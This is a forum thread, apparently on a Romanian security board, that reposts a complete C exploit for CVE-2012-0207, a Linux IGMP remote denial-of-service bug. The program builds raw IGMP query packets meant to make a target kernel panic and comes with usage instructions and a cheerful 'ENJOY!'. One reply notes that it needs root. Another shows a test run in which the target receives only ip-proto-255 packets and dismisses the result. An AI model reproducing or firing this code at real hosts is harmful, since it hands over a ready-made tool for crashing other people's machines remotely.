Jump to content
The_Arhitect

Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)

Recommended Posts

Posted

Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)

/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
** * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
unsigned char ihl:4, version:4, tos;
unsigned short tot_len, id, frag_off;
unsigned char ttl, protocol;
unsigned short check;
unsigned int saddr, daddr;
unsigned int options1;
unsigned int options2;
};


struct igmp_query {
unsigned char type;
unsigned char maxresponse;
unsigned short csum;
unsigned int mcast;
char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
struct hostent *hst;
long addr;


hst = gethostbyname(host);
if (hst == NULL)
return(-1);


memcpy(&addr, hst->h_addr, hst->h_length);


return(addr);
}


int main(int argc, char *argv[])
{
struct sockaddr_in dst;
struct iphdr *ip;
struct igmp_query *igmp;
long daddr, saddr;
int s, i=0, c, len, one=1;
char buf[1500];


if (argc < 3)
{
printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
"credits to Ben Hutchings\nwritten by Kingcope\n"
"Ripped & modified code written by Firestorm\n");
printf("Usage: %s <src> <dst>\n", *argv);
return(1);
}


daddr = resolve(argv[2]);
saddr = resolve(argv[1]);

memset(buf, 0, 1500);
ip = (struct iphdr *)&buf;
igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;

ip->ihl = 7;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr)+8);
ip->id = htons(18277);
ip->frag_off=0;
ip->ttl = 1;
ip->protocol = IPPROTO_IGMP;
ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
ip->saddr = saddr;
ip->daddr = daddr;
ip->options1 = 0;
ip->options2 = 0;
igmp->type = 0x11;
igmp->maxresponse = 0xff;
igmp->mcast=inet_addr("224.0.0.1");

igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
igmp->csum=in_chksum((unsigned short *)igmp, 8);

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);

printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}

close(s);

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);

ip->id = htons(18278);
ip->tot_len = sizeof(struct iphdr)+12;
igmp->type = 0x11;
igmp->maxresponse = 0;
igmp->mcast=inet_addr("0.0.0.0");

igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
igmp->csum=in_chksum((unsigned short *)igmp, 12);

printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}

return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}


if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}


sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

Sursa: Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)

  • Upvote 1
Posted (edited)

From source code:


s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

Note: Only processes with an effective user ID of 0 or the CAP_NET_RAW capability are allowed to open raw sockets. So, you should use 'root' for testing this kind of attack.

Edited by aelius
Posted

Cam asta e tot ce se vede:

Source:


hp ~ # ./send-igmp 10.0.0.8 10.0.0.1
Sending IGMP packet: 10.0.0.8 -> 10.0.0.1
Sending IGMP packet: 10.0.0.8 -> 10.0.0.1
hp ~ #

Destination:


ultrasparc ~ # tcpdump -pni hme2 host 10.0.0.8
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on hme2, link-type EN10MB (Ethernet), capture size 96 bytes
00:42:25.756294 IP 10.0.0.8 > 10.0.0.1: ip-proto-255 36
00:42:25.756478 IP 10.0.0.8 > 10.0.0.1: ip-proto-255 40

E aberatie.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...